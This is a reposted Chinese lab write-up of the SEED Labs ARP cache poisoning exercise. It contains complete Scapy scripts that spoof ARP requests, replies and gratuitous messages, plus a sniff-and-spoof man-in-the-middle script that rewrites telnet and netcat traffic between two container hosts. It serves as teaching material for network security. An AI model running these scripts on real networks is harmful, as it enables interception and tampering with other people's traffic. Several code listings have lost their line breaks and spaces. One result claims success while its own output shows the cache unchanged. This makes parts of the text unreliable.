0


【SEED Labs 2.0】ARP Cache Poisoning Attack Lab

本文为 SEED Labs 2.0 - ARP Cache Poisoning Attack Lab 的实验记录。

文章目录

实验原理

地址解析协议 (ARP) 是一种通信协议,用于在给定 IP 地址的情况下发现链路层地址,例如 MAC 地址。ARP 协议是一个非常简单的协议,它没有实施任何安全措施。ARP 缓存中毒攻击是针对 ARP 协议的常见攻击。使用这种攻击,攻击者可以欺骗受害者接受伪造的 IP 到 MAC 映射。这可能会导致受害者的数据包被重定向到具有伪造 MAC 地址的计算机,从而导致潜在的中间人攻击。本实验的目的是获得有关 ARP 缓存中毒攻击的第一手经验,并了解此类攻击可能造成的损害。我们将使用 ARP 攻击发起中间人攻击,攻击者可以拦截和修改两个受害者 A 和 B 之间的数据包。本实验的另一个目的是练习数据包嗅探和欺骗技能,因为这些是网络安全中必不可少的技能,它们是许多网络攻击和防御工具的构建块。我们将使用 Scapy 执行实验室任务。本实验涵盖以下主题:

  • ARP 协议
  • ARP 缓存中毒攻击
  • 中间人攻击
  • Scapy 编程

Task 1: ARP Cache Poisoning

我们启动 docker:

  1. $ dcbuild
  2. $ dcup

启动对应的 shell 后,我们修改一下以便操作:

  1. # export PS1="\w A-10.9.0.5$ "
  1. # export PS1="\w B-10.9.0.6$ "
  1. # export PS1="\w M-10.9.0.105$ "

在这里插入图片描述

Task 1.A using ARP request

首先查看三台机器的 ip 和 mac:

  1. A-10.9.0.5$ ip a
  2. 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
  3. link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
  4. inet 127.0.0.1/8 scope host lo
  5. valid_lft forever preferred_lft forever
  6. 6: eth0@if7: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
  7. link/ether 02:42:0a:09:00:05 brd ff:ff:ff:ff:ff:ff link-netnsid 0
  8. inet 10.9.0.5/24 brd 10.9.0.255 scope global eth0
  9. valid_lft forever preferred_lft forever
  1. B-10.9.0.6$ ip a
  2. 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
  3. link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
  4. inet 127.0.0.1/8 scope host lo
  5. valid_lft forever preferred_lft forever
  6. 10: eth0@if11: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
  7. link/ether 02:42:0a:09:00:06 brd ff:ff:ff:ff:ff:ff link-netnsid 0
  8. inet 10.9.0.6/24 brd 10.9.0.255 scope global eth0
  9. valid_lft forever preferred_lft forever
  1. M-10.9.0.105$ ip a
  2. 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
  3. link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
  4. inet 127.0.0.1/8 scope host lo
  5. valid_lft forever preferred_lft forever
  6. 8: eth0@if9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
  7. link/ether 02:42:0a:09:00:69 brd ff:ff:ff:ff:ff:ff link-netnsid 0
  8. inet 10.9.0.105/24 brd 10.9.0.255 scope global eth0
  9. valid_lft forever preferred_lft forever

编写

  1. arp.py

  1. #!/usr/bin/python3 from scapy.allimport*
  2. A_ip ="10.9.0.5"
  3. A_mac ="02:42:0a:09:00:05"
  4. B_ip ="10.9.0.6"
  5. B_mac ="02:42:0a:09:00:06"
  6. M_ip ="10.9.0.105"
  7. M_mac ="02:42:0a:09:00:69"
  8. eth = Ether(src=M_mac,dst='ff:ff:ff:ff:ff:ff')
  9. arp = ARP(hwsrc=M_mac, psrc=B_ip,
  10. hwdst=A_mac, pdst=A_ip,
  11. op=1)
  12. pkt = eth / arp
  13. sendp(pkt)

这里的

  1. A_ip

  1. A_mac

等就是我们上面查看到的内容。

  1. M

中运行:

  1. M-10.9.0.105$ arp.py
  2. .
  3. Sent 1 packets.

通过 wireshark 抓包可以看到:

在这里插入图片描述

此时

  1. A

中新增了 arp 记录:

  1. A-10.9.0.5$ arp -n
  2. Address HWtype HWaddress Flags Mask Iface
  3. B-10.9.0.6.net-10.9.0.0 ether 02:42:0a:09:00:69 C eth0

说明我们的 arp 请求发送成功。

Task 1.B using ARP reply

修改程序:

  1. #!/usr/bin/python3 from scapy.allimport*
  2. A_ip ="10.9.0.5"
  3. A_mac ="02:42:0a:09:00:05"
  4. B_ip ="10.9.0.6"
  5. B_mac ="02:42:0a:09:00:06"
  6. M_ip ="10.9.0.105"
  7. M_mac ="02:42:0a:09:00:69"
  8. eth = Ether(src=M_mac,dst=A_mac)
  9. arp = ARP(hwsrc=M_mac, psrc=B_ip,
  10. hwdst=A_mac, pdst=A_ip,
  11. op=2)
  12. pkt = eth / arp
  13. sendp(pkt)

Scenario 1:

  1. B

’s IP is already in

  1. A

’s cache.

首先,在

  1. B

上 ping

  1. A

  1. B-10.9.0.6$ ping10.9.0.5 -c 1
  2. PING 10.9.0.5 (10.9.0.5)56(84) bytes of data.
  3. 64 bytes from 10.9.0.5: icmp_seq=1ttl=64time=0.138 ms
  4. --- 10.9.0.5 ping statistics ---
  5. 1 packets transmitted, 1 received, 0% packet loss, time 0ms
  6. rtt min/avg/max/mdev =0.138/0.138/0.138/0.000 ms

此时,

  1. A

上看到:

  1. A-10.9.0.5$ arp -n
  2. Address HWtype HWaddress Flags Mask Iface
  3. 10.9.0.6 ether 02:42:0a:09:00:06 C eth0

然后运行:

  1. M-10.9.0.105$ arp.py
  2. .
  3. Sent 1 packets.

抓包得到:

在这里插入图片描述

此时

  1. A

上的记录被更新:

  1. A-10.9.0.5$ arp -n
  2. Address HWtype HWaddress Flags Mask Iface
  3. 10.9.0.6 ether 02:42:0a:09:00:69 C eth0

修改成功。

Scenario 2:

  1. B

’s IP is not in

  1. A

’s cache.

首先删除

  1. A

的 arp 中关于

  1. B

的记录:

  1. A-10.9.0.5$ arp -d 10.9.0.6

然后再次运行:

  1. M-10.9.0.105$ arp.py
  2. .
  3. Sent 1 packets.

抓包得到:

在这里插入图片描述

此时

  1. A

上的记录没有变化:

  1. A-10.9.0.5$ arp -n

可见 reply 消息只能更新内容,却不能新建。

Task 1.C using ARP gratuitous message

修改程序:

  1. #!/usr/bin/python3 from scapy.allimport*
  2. A_ip ="10.9.0.5"
  3. A_mac ="02:42:0a:09:00:05"
  4. B_ip ="10.9.0.6"
  5. B_mac ="02:42:0a:09:00:06"
  6. M_ip ="10.9.0.105"
  7. M_mac ="02:42:0a:09:00:69"
  8. eth = Ether(src=M_mac,dst='ff:ff:ff:ff:ff:ff')
  9. arp = ARP(hwsrc=M_mac, psrc=B_ip,
  10. hwdst='ff:ff:ff:ff:ff:ff', pdst=B_ip,
  11. op=1)
  12. pkt = eth / arp
  13. sendp(pkt)

Scenario 1:

  1. B

’s IP is already in

  1. A

’s cache.

首先,在

  1. B

上 ping

  1. A

  1. B-10.9.0.6$ ping10.9.0.5 -c 1
  2. PING 10.9.0.5 (10.9.0.5)56(84) bytes of data.
  3. 64 bytes from 10.9.0.5: icmp_seq=1ttl=64time=0.138 ms
  4. --- 10.9.0.5 ping statistics ---
  5. 1 packets transmitted, 1 received, 0% packet loss, time 0ms
  6. rtt min/avg/max/mdev =0.138/0.138/0.138/0.000 ms

此时,

  1. A

上看到:

  1. A-10.9.0.5$ arp -n
  2. Address HWtype HWaddress Flags Mask Iface
  3. 10.9.0.6 ether 02:42:0a:09:00:06 C eth0

然后运行:

  1. M-10.9.0.105$ arp.py
  2. .
  3. Sent 1 packets.

抓包得到:

在这里插入图片描述

此时

  1. A

上的记录被更新:

  1. A-10.9.0.5$ arp -n
  2. Address HWtype HWaddress Flags Mask Iface
  3. 10.9.0.6 ether 02:42:0a:09:00:06 C eth0

修改成功。

Scenario 2: B’s IP is not in A’s cache.

首先删除

  1. B

的记录:

  1. A-10.9.0.5$ arp -d 10.9.0.6

然后再次运行:

  1. M-10.9.0.105$ arp.py
  2. .
  3. Sent 1 packets.

抓包得到:

在这里插入图片描述

此时

  1. A

上的记录没有变化:

  1. A-10.9.0.5$ arp -n

可见该情况和 reply 的结果是一样的。

Task 2: MITM Attack on Telnet using ARP Cache Poisoning

在这里插入图片描述

Step 1 Launch the ARP cache poisoning attack

修改程序:

  1. #!/usr/bin/python3
  2. from scapy.all import *
  3. A_ip ="10.9.0.5"
  4. A_mac ="02:42:0a:09:00:05"
  5. B_ip ="10.9.0.6"
  6. B_mac ="02:42:0a:09:00:06"
  7. M_ip ="10.9.0.105"
  8. M_mac ="02:42:0a:09:00:69"
  9. ethA = Ether(src=M_mac,dst=A_mac)
  10. arpA = ARP(hwsrc=M_mac, psrc=B_ip,
  11. hwdst=A_mac, pdst=A_ip,
  12. op=2)
  13. ethB = Ether(src=M_mac,dst=B_mac)
  14. arpB = ARP(hwsrc=M_mac, psrc=A_ip,
  15. hwdst=A_mac, pdst=B_ip,
  16. op=2)while True:
  17. pktA = ethA / arpA
  18. sendp(pktA, count=1)
  19. pktB = ethB / arpB
  20. sendp(pktB, count=1)
  21. time.sleep(5)

首先从

  1. B

ping

  1. A

并查看

  1. A

的 arp 的变化:

  1. B-10.9.0.6$ ping10.9.0.5 -c 1
  2. PING 10.9.0.5 (10.9.0.5)56(84) bytes of data.
  3. 64 bytes from 10.9.0.5: icmp_seq=1ttl=64time=0.088 ms
  4. --- 10.9.0.5 ping statistics ---
  5. 1 packets transmitted, 1 received, 0% packet loss, time 0ms
  6. rtt min/avg/max/mdev =0.088/0.088/0.088/0.000 ms
  7. / B-10.9.0.6$ arp -n
  8. Address HWtype HWaddress Flags Mask Iface
  9. 10.9.0.5 ether 02:42:0a:09:00:05 C eth0
  1. A-10.9.0.5$ arp -n
  2. Address HWtype HWaddress Flags Mask Iface
  3. 10.9.0.6 ether 02:42:0a:09:00:06 C eth0

运行程序后再查看

  1. A

的 arp 和

  1. B

的 arp:

  1. M-10.9.0.105$ arp.py
  2. .
  3. Sent 1 packets.
  4. .
  5. Sent 1 packets.
  1. A-10.9.0.5$ arp -n
  2. Address HWtype HWaddress Flags Mask Iface
  3. 10.9.0.6 ether 02:42:0a:09:00:69 C eth0
  1. B-10.9.0.6$ arp -n
  2. Address HWtype HWaddress Flags Mask Iface
  3. 10.9.0.5 ether 02:42:0a:09:00:69 C eth0

Step 2 Testing

首先关闭转发:

  1. M-10.9.0.105$ sysctl net.ipv4.ip_forward=0
  2. net.ipv4.ip_forward =0

然后运行:

  1. M-10.9.0.105$ arp.py
  2. .
  3. Sent 1 packets.
  4. .
  5. Sent 1 packets.
  1. A

  1. B

互相 ping:

  1. A-10.9.0.5$ ping10.9.0.6 -c 1
  2. PING 10.9.0.6 (10.9.0.6)56(84) bytes of data.
  3. --- 10.9.0.6 ping statistics ---
  4. 1 packets transmitted, 0 received, 100% packet loss, time 0ms
  1. B-10.9.0.6$ ping10.9.0.5 -c 1
  2. PING 10.9.0.5 (10.9.0.5)56(84) bytes of data.
  3. --- 10.9.0.5 ping statistics ---
  4. 1 packets transmitted, 0 received, 100% packet loss, time 0ms

发现 ping 不通。

Step 3 Turn on IP forwarding

首先开启转发:

  1. M-10.9.0.105$ sysctl net.ipv4.ip_forward=1
  2. net.ipv4.ip_forward =1

然后运行:

  1. M-10.9.0.105$ arp.py
  2. .
  3. Sent 1 packets.
  4. .
  5. Sent 1 packets.
  1. A

  1. B

互相 ping:

  1. A-10.9.0.5$ ping10.9.0.6 -c 1
  2. PING 10.9.0.6 (10.9.0.6)56(84) bytes of data.
  3. 64 bytes from 10.9.0.6: icmp_seq=1ttl=63time=0.122 ms
  4. --- 10.9.0.6 ping statistics ---
  5. 1 packets transmitted, 1 received, 0% packet loss, time 0ms
  6. rtt min/avg/max/mdev =0.122/0.122/0.122/0.000 ms
  1. B-10.9.0.6$ ping10.9.0.5 -c 1
  2. PING 10.9.0.5 (10.9.0.5)56(84) bytes of data.
  3. 64 bytes from 10.9.0.5: icmp_seq=1ttl=63time=0.076 ms
  4. --- 10.9.0.5 ping statistics ---
  5. 1 packets transmitted, 1 received, 0% packet loss, time 0ms
  6. rtt min/avg/max/mdev =0.076/0.076/0.076/0.000 ms

发现 ping 得通。

Step 4 Launch the MITM attack

保持 ip 转发开启,先运行:

  1. M-10.9.0.105$ arp.py
  2. .
  3. Sent 1 packets.
  4. .
  5. Sent 1 packets.

然后开启 telnet:

  1. A-10.9.0.5$ telnet 10.9.0.6
  2. Trying 10.9.0.6...
  3. Connected to 10.9.0.6.
  4. Escape character is '^]'.
  5. Ubuntu 20.04.1 LTS
  6. 1ec98edb592d login: seed
  7. Password:
  8. Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)
  9. * Documentation: https://help.ubuntu.com
  10. * Management: https://landscape.canonical.com
  11. * Support: https://ubuntu.com/advantage
  12. This system has been minimized by removing packages and content that are
  13. not required on a system that usersdo not log into.
  14. To restore this content, you can run the 'unminimize' command.
  15. The programs included with the Ubuntu system are free software;
  16. the exact distribution terms for each program are described in the
  17. individual files in /usr/share/doc/*/copyright.
  18. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
  19. applicable law.
  20. seed@1ec98edb592d:~$

然后关闭 ip 转发:

  1. M-10.9.0.105$ sysctl net.ipv4.ip_forward=0
  2. net.ipv4.ip_forward =0

此时,在

  1. A

中输入内容,无法显示。

编写

  1. sniff_and spoof.py

  1. #!/usr/bin/env python3from scapy.allimport*import re
  2. IP_A ="10.9.0.5"
  3. MAC_A ="02:42:0a:09:00:05"
  4. IP_B ="10.9.0.6"
  5. MAC_B ="02:42:0a:09:00:06"defspoof_pkt(pkt):if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
  6. newpkt = IP(bytes(pkt[IP]))del(newpkt.chksum)del(newpkt[TCP].payload)del(newpkt[TCP].chksum)if pkt[TCP].payload:
  7. data = pkt[TCP].payload.load
  8. data = data.decode()
  9. newdata = re.sub(r'[a-zA-Z]',r'Z', data)print(data +" ==> "+ newdata)
  10. send(newpkt/newdata, verbose=False)else:
  11. send(newpkt, verbose=False)elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
  12. newpkt = IP(bytes(pkt[IP]))del(newpkt.chksum)del(newpkt[TCP].chksum)
  13. send(newpkt, verbose=False)
  14. f ='tcp and (ether src 02:42:0a:09:00:05 or ether src 02:42:0a:09:00:06)'
  15. pkt = sniff(filter=f, prn=spoof_pkt)

运行:

  1. M-10.9.0.105$ sniff_and_spoof.py

  1. A

中输入任意内容,可以看到,全部改成了 Z:

  1. seed@1ec98edb592d:~$ ZZZZZ
  1. M

中显示:

  1. M-10.9.0.105$ sniff_and_spoof.py
  2. l ==> Z
  3. s ==> Z
  4. ==>

攻击成功。

Task 3: MITM Attack on Netcat using ARP Cache Poisoning

保持

  1. arp.py

运行,然后

  1. B

开启端口监听:

  1. B-10.9.0.6$ nc -lp 9090
  1. A

连接

  1. B

  1. A-10.9.0.5$ nc10.9.0.6 9090

此时,两者可以正常通信。

修改

  1. sniff_and spoof.py

  1. #!/usr/bin/env python3from scapy.allimport*import re
  2. IP_A ="10.9.0.5"
  3. MAC_A ="02:42:0a:09:00:05"
  4. IP_B ="10.9.0.6"
  5. MAC_B ="02:42:0a:09:00:06"defspoof_pkt(pkt):if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
  6. newpkt = IP(bytes(pkt[IP]))del(newpkt.chksum)del(newpkt[TCP].payload)del(newpkt[TCP].chksum)if pkt[TCP].payload:
  7. data = pkt[TCP].payload.load
  8. newdata = data.replace(b'Chenyang',b'Yangchen')print(str(data)+" ==> "+str(newdata))
  9. newpkt[IP].len= pkt[IP].len+len(newdata)-len(data)
  10. send(newpkt/newdata, verbose=False)else:
  11. send(newpkt, verbose=False)elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
  12. newpkt = IP(bytes(pkt[IP]))del(newpkt.chksum)del(newpkt[TCP].chksum)
  13. send(newpkt, verbose=False)
  14. f ='tcp and (ether src 02:42:0a:09:00:05 or ether src 02:42:0a:09:00:06)'
  15. pkt = sniff(filter=f, prn=spoof_pkt)

运行:

  1. M-10.9.0.105$ sniff_and_spoof.py

重新在

  1. A

中发送:

  1. A-10.9.0.5$ nc10.9.0.6 9090
  2. aaa
  3. Chenyang
  1. B

中收到:

  1. B-10.9.0.6$ nc -lp 9090
  2. aaa
  3. Yangchen
  1. M

显示:

  1. M-10.9.0.105$ sniff_and_spoof.py
  2. b'aaa\n'==> b'aaa\n'
  3. b'Chenyang\n'==> b'Yangchen\n'

可以看到,只要输入我的名字,就会被替换掉。

实验总结

本实验内容较为简单,需要注意的是每一个任务中源 mac、源 ip、目的 mac、目的 ip 以及 op 不要搞错了。


本文转载自: https://blog.csdn.net/qq_39678161/article/details/126562466
版权归原作者 嗯嗯哈哈哈哈哈哈嗯嗯哈哈哈 所有, 如有侵权,请联系我们删除。

“【SEED Labs 2.0】ARP Cache Poisoning Attack Lab”的评论:

还没有评论